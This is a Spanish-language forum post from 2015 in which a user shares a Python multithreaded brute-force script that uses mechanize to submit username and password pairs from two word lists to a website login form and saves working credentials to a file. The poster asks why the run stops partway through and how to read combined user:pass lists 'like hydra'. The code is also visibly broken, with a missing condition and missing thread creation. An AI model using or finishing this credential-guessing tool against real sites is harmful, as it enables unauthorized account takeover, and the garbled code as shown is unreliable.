python diccionario atack multithread bug

Iniciado por asdexiva, 16 Junio 2015, 00:42 AM

0 Miembros y 1 Visitante están viendo este tema.

asdexiva

Código (python) [Seleccionar]
import mechanize
from threading import *
import time
import os

archivo1= open ('lista1.txt')
archivo = open ('lista.txt')

def brute(url2,li,lin):
   try:
       br = mechanize.Browser()
       url3= "paginaweblogout"
       url2=url2
       r = br.open(url2)
       br.select_form(nr=1)
       br.form["name"]= li
       br.form["pass"] = lin
       br.submit()
     
           r = br.open(url3)
           text_file = open("Output.txt", "a")
           text_file.write("cuenta: %s  password: %s\n" % (li,lin))
           text_file.close()
         
       else:
           print  li + ":" + lin +'no'
   except:pass

count = 0    
thrdlst = []
url2= "paginaweblogin"
for li,lin in zip(archivo.read().split('\n'),archivo1.read().split('\n')):
 
   t.start()
   
   thrdlst.append(t)
   time.sleep(0.210)
   print count
for b in thrdlst:
   b.join()



tengo un problema por que no termina todo el proceso de la lista de 2600 palabras
solo hace 1200 palabras y se para y no continua
sera algun problema con el zip del for ? que solo se cumple la mitad ? ayuda please

si me pudieran decir como obtener los datos de un solo de bloc de notas por ejemplo asi
cuenta:cuenta
cuenta1:cuenta1

tipo hydra es que talvez sea eso